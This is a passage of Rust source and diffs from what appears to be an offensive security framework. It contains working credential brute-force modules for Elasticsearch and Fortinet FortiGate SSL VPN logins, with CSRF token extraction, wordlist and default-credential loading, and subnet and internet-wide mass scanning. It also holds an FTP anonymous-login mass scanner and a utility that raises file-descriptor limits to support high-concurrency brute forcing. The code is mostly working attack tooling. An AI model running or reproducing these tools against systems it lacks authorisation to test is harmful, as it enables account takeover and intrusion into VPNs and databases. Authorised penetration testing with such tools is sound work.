cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(
cfg_prompt_output_file(
"output_file",
"Output file",
"elasticsearch_brute_results.txt",
)
.await?,
)
} else {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let normalized = normalize_target(target)?;
let connect_addr = format!("{}:{}", normalized, port);
crate::mprintln!(
"\n{}",
format!("[*] Starting brute-force on {}", connect_addr).cyan()
);
// Load wordlists
let mut usernames = Vec::new();
if let Some(ref file) = usernames_file {
usernames = load_lines(file)?;
if usernames.is_empty() {
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
} else {
crate::mprintln!(
"{}",
format!("[*] Loaded {} usernames", usernames.len()).green()
);
}
}
let mut passwords = Vec::new();
if let Some(ref file) = passwords_file {
passwords = load_lines(file)?;
if passwords.is_empty() {
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
} else {
crate::mprintln!(
"{}",
format!("[*] Loaded {} passwords", passwords.len()).green()
);
}
}
// Add default credentials if requested
if use_defaults {
for (user, pass) in DEFAULT_CREDENTIALS {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
crate::mprintln!(
"{}",
format!(
"[*] Added {} default credentials",
DEFAULT_CREDENTIALS.len()
)
.green()
);
}
if usernames.is_empty() {
return Err(anyhow!("No usernames available"));
}
if passwords.is_empty() {
return Err(anyhow!("No passwords available"));
}
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let timeout_duration = Duration::from_secs(connection_timeout);
let try_login = move |t: String, p: u16, user: String, pass: String| {
let timeout_dur = timeout_duration;
async move {
let base_url = format!("http://{}:{}", t, p);
match try_es_login(&base_url, &user, &pass, timeout_dur).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => LoginResult::Error {
message: e.to_string(),
retryable: true,
},
}
}
};
let result = run_bruteforce(
&BruteforceConfig {
target: normalized,
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 0,
max_retries,
service_name: "elasticsearch",
jitter_ms: 50,
source_module: "creds/generic/elasticsearch_credcheck",
},
combos,
try_login,
)
.await?;
result.print_found();
if let Some(ref path) = save_path {
result.save_to_file(path)?;
}
// Unknown / errored attempts
if !result.errors.is_empty() {
crate::mprintln!(
"{}",
format!(
"[?] Collected {} unknown/errored Elasticsearch responses.",
result.errors.len()
)
.yellow()
.bold()
);
if cfg_prompt_yes_no(
"save_unknown_responses",
"Save unknown responses to file?",
true,
)
.await?
{
let default_name = "elasticsearch_unknown_responses.txt";
let fname = cfg_prompt_output_file(
"unknown_responses_file",
"What should the unknown results be saved as?",
default_name,
)
.await?;
let filename = get_filename_in_current_dir(&fname);
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
match opts.open(&filename) {
Ok(mut file) => {
writeln!(
file,
"# Elasticsearch Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in &result.errors {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
file.flush()?;
crate::mprintln!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
crate::mprintln!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
)
.red()
);
}
}
}
}
Ok(())
}
/// Attempt Elasticsearch login via HTTP Basic Auth.
///
/// Checks the `/_security/_authenticate` endpoint first (Elasticsearch security API).
/// Falls back to the cluster root endpoint `/` and looks for `cluster_name` in the
/// JSON response to confirm authenticated access.
///
/// Returns:
/// - `Ok(true)` — authentication succeeded
/// - `Ok(false)` — credentials rejected (401)
/// - `Err(_)` — connection/timeout/protocol error
async fn try_es_login(
base_url: &str,
username: &str,
password: &str,
timeout_duration: Duration,
) -> Result<bool> {
let client = ClientBuilder::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true)
.timeout(timeout_duration)
.build()
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
// Try the security authenticate endpoint first
let auth_url = format!("{}/_security/_authenticate", base_url);
let auth_resp = match tokio::time::timeout(
timeout_duration,
client.get(&auth_url).basic_auth(username, Some(password)).send(),
)
.await
{
Ok(Ok(resp)) => resp,
Ok(Err(e)) => {
// Connection error — fall through to root endpoint check
let err_str = e.to_string();
if err_str.contains("Connection refused") || err_str.contains("connect") {
return Err(anyhow!("Connection refused: {}", err_str));
}
// Try root endpoint as fallback
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
}
Err(_) => return Err(anyhow!("Connection timeout")),
};
let status = auth_resp.status().as_u16();
match status {
200 => {
// Verify we got a valid JSON response with authentication info
let body = match tokio::time::timeout(timeout_duration, auth_resp.text()).await {
Ok(Ok(b)) => b,
Ok(Err(e)) => return Err(anyhow!("Failed to read response: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading response")),
};
if body.contains("username") || body.contains("roles") || body.contains("enabled") {
return Ok(true);
}
// Got 200 but unexpected body — try root endpoint
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
}
401 => return Ok(false),
403 => {
// 403 could mean valid creds but insufficient privileges for security API
// Try root endpoint as fallback
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
}
404 => {
// Security plugin not installed — try root endpoint
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
}
_ => {
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
}
}
}
/// Fallback: try authenticating against the Elasticsearch root endpoint `/`.
/// A successful auth returns JSON with `cluster_name`.
async fn try_es_root_login(
base_url: &str,
username: &str,
password: &str,
client: &reqwest::Client,
timeout_duration: Duration,
) -> Result<bool> {
let root_url = format!("{}/", base_url);
let resp = match tokio::time::timeout(
timeout_duration,
client.get(&root_url).basic_auth(username, Some(password)).send(),
)
.await
{
Ok(Ok(r)) => r,
Ok(Err(e)) => return Err(anyhow!("Connection error: {}", e)),
Err(_) => return Err(anyhow!("Connection timeout")),
};
let status = resp.status().as_u16();
match status {
200 => {
let body = match tokio::time::timeout(timeout_duration, resp.text()).await {
Ok(Ok(b)) => b,
Ok(Err(e)) => return Err(anyhow!("Failed to read response: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading response")),
};
// Elasticsearch root returns JSON with cluster_name when authenticated
if body.contains("cluster_name") {
Ok(true)
} else {
Ok(false)
}
}
401 => Ok(false),
_ => Err(anyhow!("Unexpected HTTP status: {}", status)),
}
}
+123 -29
View File
@@ -1,41 +1,135 @@
use anyhow::{Result, anyhow};
use std::process::Command;
use colored::*;
use rlimit::Resource;
const TARGET_FILE_LIMIT: u64 = 65535;
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "System Ulimit Configuration".to_string(),
description: "Raises file descriptor limits (ulimit) for the current process to support high-concurrency brute-force operations. Provides guidance for persistent system configuration.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
crate::mprintln!("{}", "║ System Ulimit Configuration Utility ║".cyan());
crate::mprintln!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan());
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
crate::mprintln!();
}
/// Module entry point for raising ulimit
pub async fn run(_target: &str) -> Result<()> {
pub async fn run(target: &str) -> Result<()> {
// Target parameter is part of standard module interface
// For ulimit operations, target is informational only
if !target.is_empty() {
crate::mprintln!("{}", format!("[*] Target context: {}", target).dimmed());
}
raise_ulimit().await
}
/// Raise ulimit to 65535
/// Get current resource limits
fn get_current_limits() -> Result<(u64, u64)> {
let (soft, hard) = Resource::NOFILE.get()
.map_err(|e| anyhow!("Failed to get current limits: {}", e))?;
Ok((soft, hard))
}
/// Set resource limits directly in the current process
fn set_file_limit(soft: u64, hard: u64) -> Result<()> {
Resource::NOFILE.set(soft, hard)
.map_err(|e| anyhow!("Failed to set limits: {}", e))
}
/// Raise ulimit to 65535 using setrlimit syscall (actually works for current process)
async fn raise_ulimit() -> Result<()> {
println!("[*] Attempting to raise open file limit (ulimit -n 65535)");
// Try to set limit using bash
let output = Command::new("bash")
.arg("-c")
.arg("ulimit -n 65535")
.output()
.map_err(|e| anyhow!("Failed to run bash: {}", e))?;
if !output.status.success() {
println!("[-] Warning: Could not change ulimit. (maybe run as root?)");
} else {
println!("[+] Successfully ran ulimit -n 65535.");
display_banner();
// Get current limits
let (current_soft, current_hard) = match get_current_limits() {
Ok(limits) => limits,
Err(e) => {
crate::mprintln!("{}", format!("[-] Failed to get current limits: {}", e).red());
(0, 0)
}
};
crate::mprintln!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan());
if current_soft >= TARGET_FILE_LIMIT {
crate::mprintln!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold());
return Ok(());
}
// Check current limit
let check_output = Command::new("bash")
.arg("-c")
.arg("ulimit -n")
.output()
.map_err(|e| anyhow!("Failed to check ulimit: {}", e))?;
if check_output.status.success() {
let limit = String::from_utf8_lossy(&check_output.stdout);
println!("[+] Current open file limit: {}", limit.trim());
crate::mprintln!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan());
// Determine the target limits
let target_hard = if current_hard >= TARGET_FILE_LIMIT {
current_hard
} else {
println!("[-] Warning: Could not verify new ulimit.");
TARGET_FILE_LIMIT
};
let target_soft = TARGET_FILE_LIMIT.min(target_hard);
// Try to set the limit using setrlimit syscall (works for current process)
match set_file_limit(target_soft, target_hard) {
Ok(()) => {
crate::mprintln!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold());
}
Err(e) => {
// If we can't raise hard limit, try just raising soft to current hard
crate::mprintln!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow());
if current_hard > current_soft {
crate::mprintln!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan());
match set_file_limit(current_hard, current_hard) {
Ok(()) => {
crate::mprintln!("{}", format!("[+] Raised soft limit to {}", current_hard).green());
}
Err(e2) => {
crate::mprintln!("{}", format!("[-] Could not raise soft limit: {}", e2).red());
crate::mprintln!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow());
}
}
} else {
crate::mprintln!("{}", "[!] Hard limit is the same as soft limit.".yellow());
crate::mprintln!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow());
}
}
}
// Verify the new limits
match get_current_limits() {
Ok((new_soft, new_hard)) => {
crate::mprintln!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan());
if new_soft >= TARGET_FILE_LIMIT {
crate::mprintln!("{}", "[+] File descriptor limit successfully raised!".green().bold());
} else if new_soft > current_soft {
crate::mprintln!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green());
} else {
crate::mprintln!("{}", "[-] Limit unchanged.".yellow());
}
}
Err(e) => {
crate::mprintln!("{}", format!("[-] Could not verify new limits: {}", e).yellow());
}
}
// Also show shell instructions for reference
crate::mprintln!();
crate::mprintln!("{}", "=== Shell Instructions ===".bold());
crate::mprintln!("{}", "To raise limits in your shell before running rustsploit:".dimmed());
crate::mprintln!("{}", " ulimit -n 65535".white());
crate::mprintln!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed());
crate::mprintln!("{}", " * soft nofile 65535".white());
crate::mprintln!("{}", " * hard nofile 65535".white());
Ok(())
}
@@ -0,0 +1,592 @@
use crate::utils::{
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file, cfg_prompt_port,
cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target, url_encode,
};
use anyhow::{anyhow, Result};
use colored::*;
use std::sync::LazyLock as Lazy;
use regex::Regex;
use reqwest::{redirect::Policy, ClientBuilder};
use std::{io::Write, net::IpAddr, time::Duration};
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "Fortinet SSL VPN Brute Force".to_string(),
description: "Brute-force Fortinet FortiGate SSL VPN web authentication. Tests credentials against the FortiOS login portal with certificate pinning, realm support, and subnet/mass scanning.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!(
"{}",
"╔═══════════════════════════════════════════════════════════╗".cyan()
);
crate::mprintln!(
"{}",
"║ Fortinet SSL VPN Brute Force Module ║".cyan()
);
crate::mprintln!(
"{}",
"║ FortiGate Web Login Credential Testing ║".cyan()
);
crate::mprintln!(
"{}",
"╚═══════════════════════════════════════════════════════════╝".cyan()
);
crate::mprintln!();
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
// --- Mass Scan Mode ---
if is_mass_scan_target(target) {
crate::mprintln!(
"{}",
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
);
return run_mass_scan(
target,
MassScanConfig {
protocol_name: "FortiGate",
default_port: 443,
state_file: "fortinet_hose_state.log",
default_output: "fortinet_mass_results.txt",
default_concurrency: 200,
},
move |ip, port| async move {
let url = format!("https://{}:{}/remote/logincheck", ip, port);
let client =
crate::utils::build_http_client(std::time::Duration::from_secs(5)).ok()?;
let resp = client.get(&url).send().await.ok()?;
if resp.status().is_success() || resp.status().as_u16() == 401 {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
Some(format!(
"[{}] {}:{} FortiGate login page found\n",
ts, ip, port
))
} else {
None
}
},
)
.await;
}
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
let port: u16 = cfg_prompt_port("port", "Fortinet VPN Port", 443).await?;
let usernames_file =
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file =
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if users.is_empty() {
return Err(anyhow!("Username wordlist is empty"));
}
if passes.is_empty() {
return Err(anyhow!("Password wordlist is empty"));
}
let concurrency: usize = {
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
input.parse::<usize>().unwrap_or(10).max(1).min(256)
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file(
"output_file",
"Output result file",
"fortinet_subnet_results.txt",
)
.await?;
let timeout_secs: u64 = {
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
input.parse::<u64>().unwrap_or(10).max(1).min(300)
};
let timeout_duration = Duration::from_secs(timeout_secs);
let realm_str = cfg_prompt_default("realm", "Authentication realm (optional)", "").await?;
let realm: Option<String> = if realm_str.is_empty() {
None
} else {
Some(realm_str)
};
let trusted_cert_str = cfg_prompt_default(
"trusted_cert",
"Trusted certificate SHA256 (optional, press Enter to skip)",
"",
)
.await?;
let trusted_cert: Option<String> = if trusted_cert_str.is_empty() {
None
} else {
Some(trusted_cert_str)
};
return run_subnet_bruteforce(
target,
port,
users,
passes,
&SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "fortinet-vpn",
jitter_ms: 50,
source_module: "creds/generic/fortinet_credcheck",
skip_tcp_check: false,
},
move |ip: IpAddr, port: u16, user: String, pass: String| {
let realm = realm.clone();
let trusted_cert = trusted_cert.clone();
let timeout_dur = timeout_duration;
async move {
let base_url = format!("https://{}:{}", ip, port);
match try_fortinet_login(
&base_url,
&user,
&pass,
&realm,
&trusted_cert,
timeout_dur,
)
.await
{
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => LoginResult::Error {
message: e.to_string(),
retryable: true,
},
}
}
},
)
.await;
}
// --- Single Target Mode ---
// Port
let port: u16 = cfg_prompt_port("port", "Fortinet VPN Port", 443).await?;
// Protocol-specific: realm and trusted certificate
let realm_str = cfg_prompt_default("realm", "Authentication realm (optional)", "").await?;
let realm: Option<String> = if realm_str.is_empty() {
None
} else {
Some(realm_str)
};
let trusted_cert_str = cfg_prompt_default(
"trusted_cert",
"Trusted certificate SHA256 (optional, press Enter to skip)",
"",
)
.await?;
let trusted_cert: Option<String> = if trusted_cert_str.is_empty() {
None
} else {
Some(trusted_cert_str)
};
// Wordlists
let usernames_file =
cfg_prompt_existing_file("username_wordlist", "Username wordlist path").await?;
let passwords_file =
cfg_prompt_existing_file("password_wordlist", "Password wordlist path").await?;
// Concurrency and timeout
let concurrency: usize = {
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
input.parse::<usize>().unwrap_or(10).max(1).min(256)
};
let connection_timeout: u64 = {
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
input.parse::<u64>().unwrap_or(10).max(1).min(300)
};
// Stop on first success
let stop_on_success =
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
// Save results and output file
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(
cfg_prompt_output_file("output_file", "Output file name", "fortinet_results.txt")
.await?,
)
} else {
None
};
// Verbose
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
// Combo mode
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
// Load wordlists
let users = load_lines(&usernames_file)?;
if users.is_empty() {
return Err(anyhow!("Username wordlist is empty"));
}
crate::mprintln!(
"{}",
format!("[*] Loaded {} usernames", users.len()).green()
);
let passwords = load_lines(&passwords_file)?;
if passwords.is_empty() {
return Err(anyhow!("Password wordlist is empty"));
}
crate::mprintln!(
"{}",
format!("[*] Loaded {} passwords", passwords.len()).green()
);
let mut combos = generate_combos_mode(&users, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let timeout_duration = Duration::from_secs(connection_timeout);
let normalized = normalize_target(target)?;
let target_host = normalized.clone();
crate::mprintln!(
"\n{}",
format!("[*] Starting brute-force on {}:{}", target_host, port).cyan()
);
// Build the try_login closure that captures Fortinet-specific state
let try_login = move |t: String, p: u16, user: String, pass: String| {
let realm = realm.clone();
let trusted_cert = trusted_cert.clone();
let timeout_dur = timeout_duration;
async move {
let base_url =
build_fortinet_url(&t, p).unwrap_or_else(|_| format!("https://{}:{}", t, p));
match try_fortinet_login(&base_url, &user, &pass, &realm, &trusted_cert, timeout_dur)
.await
{
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => LoginResult::Error {
message: e.to_string(),
retryable: true,
},
}
}
};
let result = run_bruteforce(
&BruteforceConfig {
target: target_host,
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 100,
max_retries: 2,
service_name: "fortinet-vpn",
jitter_ms: 50,
source_module: "creds/generic/fortinet_credcheck",
},
combos,
try_login,
)
.await?;
result.print_found();
if let Some(ref path) = save_path {
result.save_to_file(path)?;
}
// Unknown / errored attempts
if !result.errors.is_empty() {
crate::mprintln!(
"{}",
format!(
"[?] Collected {} unknown/errored Fortinet responses.",
result.errors.len()
)
.yellow()
.bold()
);
if cfg_prompt_yes_no(
"save_unknown_responses",
"Save unknown responses to file?",
true,
)
.await?
{
let default_name = "fortinet_unknown_responses.txt";
let fname = cfg_prompt_output_file(
"unknown_responses_file",
"What should the unknown results be saved as?",
default_name,
)
.await?;
let filename = get_filename_in_current_dir(&fname);
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
match opts.open(&filename) {
Ok(mut file) => {
writeln!(
file,
"# Fortinet Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in &result.errors {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
file.flush()?;
crate::mprintln!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
crate::mprintln!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
)
.red()
);
}
}
}
}
Ok(())
}
async fn try_fortinet_login(
base_url: &str,
username: &str,
password: &str,
realm: &Option<String>,
trusted_cert: &Option<String>,
timeout_duration: Duration,
) -> Result<bool> {
let mut client_builder = ClientBuilder::new()
.cookie_store(true)
.redirect(Policy::none())
.timeout(timeout_duration);
if trusted_cert.is_some() {
client_builder = client_builder
.danger_accept_invalid_certs(false)
.danger_accept_invalid_hostnames(false);
} else {
client_builder = client_builder
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true);
}
let client = client_builder
.build()
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
// Get login page
let login_page_url = format!("{}/remote/login", base_url);
let login_page_response =
match tokio::time::timeout(timeout_duration, client.get(&login_page_url).send()).await {
Ok(Ok(resp)) => resp,
Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)),
Err(_) => return Err(anyhow!("Timeout getting login page")),
};
let login_page_body =
match tokio::time::timeout(timeout_duration, login_page_response.text()).await {
Ok(Ok(body)) => body,
Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading login page")),
};
let csrf_token = extract_csrf_token(&login_page_body);
// Prepare login form data
let mut form_data = std::collections::HashMap::new();
form_data.insert("username", username.to_string());
form_data.insert("password", password.to_string());
form_data.insert("ajax", "1".to_string());
if let Some(r) = realm {
if !r.is_empty() {
form_data.insert("realm", r.clone());
}
}
if let Some(token) = csrf_token {
form_data.insert("magic", token.clone());
}
// Send login request
let login_url = format!("{}/remote/logincheck", base_url);
// Build form body
let mut form_pairs: Vec<String> = Vec::new();
for (key, val) in &form_data {
form_pairs.push(format!("{}={}", key, url_encode(val)));
}
let body = form_pairs.join("&");
let login_response = match tokio::time::timeout(
timeout_duration,
client
.post(&login_url)
.header("Content-Type", "application/x-www-form-urlencoded")
.body(body)
.header(
"User-Agent",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
)
.header("Referer", &login_page_url)
.send(),
)
.await
{
Ok(Ok(resp)) => resp,
Ok(Err(e)) => return Err(anyhow!("Login request failed: {}", e)),
Err(_) => return Err(anyhow!("Timeout during login request")),
};
let status = login_response.status();
let location_header = login_response
.headers()
.get("Location")
.and_then(|h| h.to_str().ok())
.map(|s| s.to_string());
let cookies: Vec<String> = login_response
.cookies()
.map(|c| c.name().to_string())
.collect();
let has_auth_cookie = cookies.iter().any(|name| {
let lower = name.to_lowercase();
lower.contains("session") || lower.contains("svpn") || lower.contains("fortinet")
});
let response_body = match tokio::time::timeout(timeout_duration, login_response.text()).await {
Ok(Ok(body)) => body,
Ok(Err(e)) => return Err(anyhow!("Failed to read login response: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading login response")),
};
// Check for explicit success indicators (case-insensitive)
let body_lower = response_body.to_lowercase();
let success_indicators = ["redir", "\"1\"", "success", "/remote/index", "portal"];
if success_indicators
.iter()
.any(|&indicator| body_lower.contains(indicator))
{
return Ok(true);
}
// Check for explicit failure indicators
let failure_indicators = ["error", "invalid", "failed", "incorrect", "\"0\""];
if failure_indicators
.iter()
.any(|&indicator| response_body.contains(indicator))
{
return Ok(false);
}
// Check status code and authentication cookies
if status.is_success() && has_auth_cookie {
return Ok(true);
}
// Check redirect location for success
if status.as_u16() == 302 {
if let Some(loc_str) = location_header {
let success_redirects = ["/remote/index", "portal", "index"];
if success_redirects.iter().any(|&path| loc_str.contains(path)) {
return Ok(true);
}
}
}
Ok(false)
}
/// Extracts CSRF token from HTML response using pre-compiled regex patterns
fn extract_csrf_token(html: &str) -> Option<String> {
static CSRF_PATTERNS: Lazy<Vec<Regex>> = Lazy::new(|| {
let patterns = [
r#"name="magic"\s+value="([^"]+)""#,
r#"name\s*=\s*"magic"\s+value\s*=\s*"([^"]+)""#,
r#"name="csrf_token"\s+value="([^"]+)""#,
r#"var\s+magic\s*=\s*"([^"]+)""#,
r#""magic"\s*:\s*"([^"]+)""#,
r#"magic=([^&\s"]+)"#,
];
patterns
.into_iter()
.filter_map(|p| Regex::new(p).ok())
.collect()
});
for pattern in CSRF_PATTERNS.iter() {
if let Some(captures) = pattern.captures(html) {
if let Some(token) = captures.get(1) {
return Some(token.as_str().to_string());
}
}
}
None
}
/// Builds Fortinet VPN URL with proper IPv6 handling
fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
let normalized_host = normalize_target(target)?;
// Check if port is already present
let has_port = if normalized_host.starts_with('[') {
// IPv6 case: check if there's a colon after the closing bracket
if let Some(bracket_pos) = normalized_host.rfind(']') {
normalized_host[bracket_pos..].contains(':')
} else {
false
}
} else {
normalized_host.contains(':')
};
let url = if has_port {
format!("https://{}", normalized_host)
} else {
format!("https://{}:{}", normalized_host, port)
};
Ok(url)
}
+278 -13
View File
@@ -1,8 +1,47 @@
use anyhow::{anyhow, Result};
use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
use colored::*;
use std::net::IpAddr;
use suppaftp::async_native_tls::TlsConnector;
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
use tokio::time::{timeout, Duration};
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
use crate::utils::cfg_prompt_yes_no;
const DEFAULT_TIMEOUT_SECS: u64 = 5;
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "FTP Anonymous Login Checker".to_string(),
description: "Checks for anonymous FTP access on targets. Supports plain FTP and FTPS, IPv4/IPv6, and mass scanning (hose mode).".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!(
"{}",
"╔═══════════════════════════════════════════════════════════╗".cyan()
);
crate::mprintln!(
"{}",
"║ FTP Anonymous Login Checker ║".cyan()
);
crate::mprintln!(
"{}",
"║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan()
);
crate::mprintln!(
"{}",
"╚═══════════════════════════════════════════════════════════╝".cyan()
);
crate::mprintln!();
}
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
@@ -25,6 +64,64 @@ fn format_addr(target: &str, port: u16) -> String {
/// Anonymous FTP/FTPS login test with IPv6 support
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check for Mass Scan Mode conditions (also handles CIDR subnets concurrently)
if is_mass_scan_target(target) {
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(
target,
MassScanConfig {
protocol_name: "FTP Anonymous",
default_port: 21,
state_file: "ftp_hose_state.log",
default_output: "ftp_mass_results.txt",
default_concurrency: 500,
},
|ip: IpAddr, port: u16| async move {
// Quick connect check
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(3)).await {
return None;
}
// Plain FTP anonymous login
let addr_str = format!("{}:{}", ip, port);
match timeout(
Duration::from_millis(5000),
AsyncFtpStream::connect(&addr_str),
)
.await
{
Ok(Ok(mut ftp)) => {
if ftp.login("anonymous", "anonymous").await.is_ok() {
match timeout(Duration::from_secs(5), ftp.list(None)).await {
Ok(Ok(_)) => {
let msg = format!("{}:{}:anonymous:anonymous", ip, port);
crate::mprintln!(
"\r{}",
format!("[+] FOUND: {}", msg).green().bold()
);
let _ = ftp.quit().await;
return Some(format!("{}\n", msg));
}
_ => {}
}
let _ = ftp.quit().await;
}
}
_ => {}
}
None
},
)
.await;
}
// --- Standard Single Target Logic ---
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
let addr = format_addr(target, 21);
let domain = target
.trim_start_matches('[')
@@ -32,36 +129,155 @@ pub async fn run(target: &str) -> Result<()> {
.next()
.unwrap_or(target);
println!("[*] Connecting to FTP service on {}...", addr);
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
crate::mprintln!(
"{}",
format!("[*] Connecting to FTP service on {}...", addr).cyan()
);
crate::mprintln!();
// 1️⃣ Try plain FTP first
match timeout(Duration::from_secs(5), AsyncFtpStream::connect(&addr)).await {
// 1. Try plain FTP first
if verbose {
crate::mprintln!(
"{}",
format!("[VERBOSE] Attempting plain FTP connection to {}...", addr).dimmed()
);
}
match timeout(
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
AsyncFtpStream::connect(&addr),
)
.await
{
Ok(Ok(mut ftp)) => {
if verbose {
crate::mprintln!(
"{}",
format!("[VERBOSE] FTP connection established to {}", addr).dimmed()
);
crate::mprintln!(
"{}",
